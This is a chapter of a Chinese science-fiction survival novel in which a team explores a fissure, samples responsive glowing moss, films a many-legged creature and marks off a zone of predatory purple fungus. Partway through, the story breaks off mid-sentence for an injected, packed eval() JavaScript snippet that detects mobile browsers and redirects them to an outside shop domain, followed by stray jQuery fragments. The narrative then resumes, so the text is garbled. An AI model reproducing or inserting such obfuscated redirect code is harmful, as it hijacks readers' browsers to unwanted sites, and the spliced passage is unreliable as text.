吴姐端上一锅新煮的蘑菇粥,方晓确认过的那批真菌还剩不少,切碎了和压缩饼干屑一起煮,口感比前几天多了点嚼劲。宋雪舀了一碗,在餐桌边坐下,说今天想往裂隙方向走走。陆铮点头,说上次在那边只画了个箭头,该往前推了。方晓擦了擦手,说她也去——最近几天都在做室内检测,想实地看看裂隙岩壁上的苔藓分布。
早饭后三人各自准备装备。宋雪把便携检测仪挂在防护服胸前,采样瓶按大小排好塞进背包外侧,又检查了一遍无人机电池电量。陆铮在训练桩旁边重新缠了一遍工兵铲的防滑胶带,往背包侧兜里多塞了几根备用标记杆。方晓把便携光谱仪和采样刀放进医疗包外侧夹层,又加了一小瓶无菌水和一包密封袋,出来时手里多了一根用菌柄残枝削成的探路杖,递给宋雪,说这段路碎石多,比脚踩准。宋雪接过来掂了掂,杖身粗细刚好,顶端用防滑胶带缠了一圈握把——和陆铮工兵铲上那卷是同一种胶带。
三人从营地出发,沿晶脉裂隙方向走了不到一刻钟,脚下地形开始变化。营地周边的暗红色地衣逐渐被裸露的灰黑色岩层取代,岩面上有细密的纵向裂纹,像是被什么东西从地底往上顶过。裂隙的宽度在这里只有几米,往下看不到底,只能听到极深处隐约的水声。方晓把便携光谱仪探头伸到裂隙边缘,屏幕上跳出一组读数——空气湿度显著上升,成分与营地周边基本一致,但含氧量略低。她说这条裂隙可能连通深层地下水,水声不是地表径流。
裂隙开始变宽,最宽处目测数十米,两侧崖壁上开始出现大量发光苔藓。颜色偏蓝绿,和渊烬的荧光苔藓是同一种色系,但发光模式不同——这边的苔藓不是持续发光,而是间歇性的,像是随着某种节律在呼吸。宋雪站在崖壁前,试着开口说了句话,声波触及崖壁的瞬间,苔藓的发光强度明显亮了一拍,然后渐渐回落。方晓走过来,先在不同距离测了说话声、拍掌声和敲击岩壁声对苔藓发光强度的影响,又用光谱仪对着发光苔藓扫了一组完整光谱,和渊烬荧光苔藓的数据做即时比对。“声-光响应模式存在,但响应阈值和衰减曲线不一样。渊烬那批对低频震动更敏感,这边的对中频人声反应最强。”她在记录本上标注了采集位置,说带回去做对比,看是同一属不同种还是完全独立的演化分支。陆铮用工兵铲从崖壁上刮下几小片,方晓用密封袋接好,贴上标签塞进医疗包内侧。
在刮苔藓时,陆铮的手忽然停了一下。不是听到了什么,是感觉到了。他的威胁感知被动模式捕捉到一个快速移动的小型热源,正在裂隙深处贴紧崖壁移动。他朝方晓微微抬手,又指了指裂隙下方。方晓放轻脚步退到安全距离,没有探头往下看,只把光谱仪的探头悄悄伸到裂隙边缘对准陆铮示意的方向。宋雪从背包里抽出无人机,设成静音模式缓缓下降,用最低亮度红外摄像头对下方进行拍摄。片刻后她将画面放大,能看到一只体型细长的生物正沿着岩缝爬行,多足,移动时身体几乎扁平贴壁,无人机红外光扫过它时迅速躲进了更深处的阴影。战斗辅助模块根据影像自动生成编号并初步建立行为档案。宋雪把画面定格几帧给两人看,方晓在物种目录中标注了它的出现位置和深度范围,陆铮说下次带红外探头来专门蹲一次——这次先赶路。
继续沿裂隙往前走,空气中的甜味浓度开始出现局部波动。之前巨菌森林方向的甜味是稳定均匀的,这里的甜味是一阵一阵的,时浓时淡,像某种气味信号在风中间歇性释放。方晓通过环境监测数据确认挥发性有机物浓度出现周期性峰值,间隔大致均匀,推测源头是某种具有规律性代谢或释放行为的生物。宋雪低头看了一眼检测仪上同步跳动的挥发性有机物浓度曲线,在笔记本上记下峰值出现的时间、持续时长和对应的风向风速。
然后甜味突然变浓。不是逐渐加重的,是像跨过某条看不见的线,浓度瞬间翻了几倍。方晓立刻停步,说这个浓度不正常,不是代谢释放,是高浓度聚集,通常与某类真菌的腐烂分解过程有关。陆铮握紧工兵铲,没有继续前进,站在原地缓缓扫视四周。前方的裂隙底部不再是干燥的岩面和碎石,而是一片低洼地,洼地中央覆盖着一片密集的真菌。菌盖呈深紫色,边缘有极细的发光菌丝,在昏暗的裂隙深处发出柔和的淡紫色光,视觉上极有吸引力。甜味就是从这里散发出来的。
宋雪让陆铮检查周围地面。陆铮用工兵铲轻敲洼地外围的岩面,又用铲柄戳了戳洼地边缘的土壤,说岩层稳定,但土壤紧实度比正常值低,可能下方有空洞或被菌丝侵蚀形成的松软层。他在洼地边缘蹲下来,从背包里拿出岩钉和攀岩绳,把绳子一端系在裂隙上方一块稳固的岩柱上,另一端扣在自己腰间,然后沿洼地边缘缓缓下降。方晓把光谱仪探头对准他的位置,随时准备报告挥发性有机物浓度变化。宋雪站在洼地边缘上方,感知态保持半开,锚点感知在她意识场深处稳定地跳动着晶脉的脉动频率,和营地旁那片晶体的节律一致。
陆铮降到底部,用工兵铲铲柄拨开几株真菌菌盖。菌盖在他触碰的瞬间释放出一小团淡紫色孢子雾,他侧身避开,让孢子雾随风散去,然后继续取样。先取真菌边缘的菌丝样本和菌盖组织,装进密封袋;再取真菌下方土壤样本,挖到浅层岩面,分层装入采样瓶。他一边取样一边通过队伍频道向宋雪描述具体情况——菌丝网络比表面看起来发达得多,已经渗透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831151|211335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
进岩层缝隙深处;土壤里有小型外骨骼碎片,不是完整的生物残骸,是局部碎片,可能是从上面掉下来后被菌丝分解剩下的。
就在他拨开另一株菌盖时,宋雪忽然感到一丝轻微的异样。不是威胁预警,不是锚点感知的异常反应,是她自己的感觉——她蹲在裂隙边缘往下看,总觉得哪里不对。她重新扫了一遍洼地周围的环境特征:真菌的紫色菌盖在发光,甜味浓郁,空气湿润,温度适中——所有条件都适合小型生物活动。但她没有看到任何小型生物。裂隙岩壁上其他区域都有苔藓生长和足印痕迹,这里什么都没有。从洼地边缘往外,她目所能及的范围内,没有小型生物的活动痕迹,没有昆虫振翅的声音,没有任何生物活动迹象,一片异常的寂静。
她让陆铮暂停采样。她在队伍频道里接通了方晓,让她帮忙确认一件事——检测仪之前是否在持续记录周围声学信号,让她回溯一下进裂隙以来的全程数据,看看小型生物的活动信号分布情况。方晓快速回溯了数据,片刻后回复:裂隙入口段有持续的小型生物活动信号,和苔藓分布区域重叠;中段信号逐渐稀疏,靠近当前坐标的信号已消失。就像在某个分界线上,所有小型生物同时停止了活动。
宋雪站起来,看了看脚下的洼地。紫色菌盖在幽暗中安静地发光,甜味浓郁而柔和。她对陆铮说,采集到的样本标记为“异常真菌区”,单独存放,回营地后优先检测。然后把探路杖收起来,在洼地边缘的岩壁上用粉笔画了个标记——一个圈,里面画个叉。画完后她后退几步看看这个标记,确认清晰可辨,然后对两人说,绕过去。沿裂隙另一侧,按原定方向继续向前。
傍晚回到营地,宋雪把当天的勘探记录整理归档。裂隙地形图更新了,新增三个物种记录和对应的样本与影像,异常真菌区完成初步标记。温朗在裂隙地图上异常真菌区的坐标旁画了个小标记,旁边只写了几个字:不要靠近。他问宋雪原因,宋雪说等方晓把样本检测完再说,先把勘探日志里这一段空着,数据出来再补。
晚饭后宋雪把自己关在小木屋里,对着笔记本整理今天的观察记录。方晓还在医疗区做样本检测,结果没出来之前她不想下结论,但她已经把自己的初步推测写在笔记本里——那片真菌散发的高浓度甜味很可能是一种诱捕信号,专门吸引小型生物靠近。菌丝在接触生物后释放某种快速麻痹并分解组织的酶类,分解产物直接通过菌丝网络吸收。这就是为什么周围没有昆虫活动痕迹,不是没有昆虫去过,是去过之后没有再出来。至于这种真菌的分布规律、它对大型生物是否具有同样的威胁、以及它的分解机制是否可用于特定场景,都还需要后续研究。